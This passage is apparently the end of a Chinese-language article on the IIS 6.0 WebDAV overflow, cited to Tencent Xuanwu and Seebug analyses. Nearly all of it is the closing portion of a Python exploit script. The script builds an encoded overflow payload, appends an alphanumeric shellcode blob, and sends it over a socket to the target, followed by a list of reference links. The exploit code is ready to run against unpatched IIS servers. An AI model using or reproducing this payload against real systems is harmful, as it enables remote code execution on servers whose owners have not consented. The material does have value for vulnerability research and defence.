pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'
shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'
pay+=shellcode
pay+='>\r\n\r\n'
print pay
sock.send(pay)
data = sock.recv(80960)
print data
sock.close

参考资料


IIS_exploithttps://github.com/edwardz246003/IIS_exploit

Paperhttps://paper.seebug.org/259/

Microsofthttps://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

腾讯玄武实验室https://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/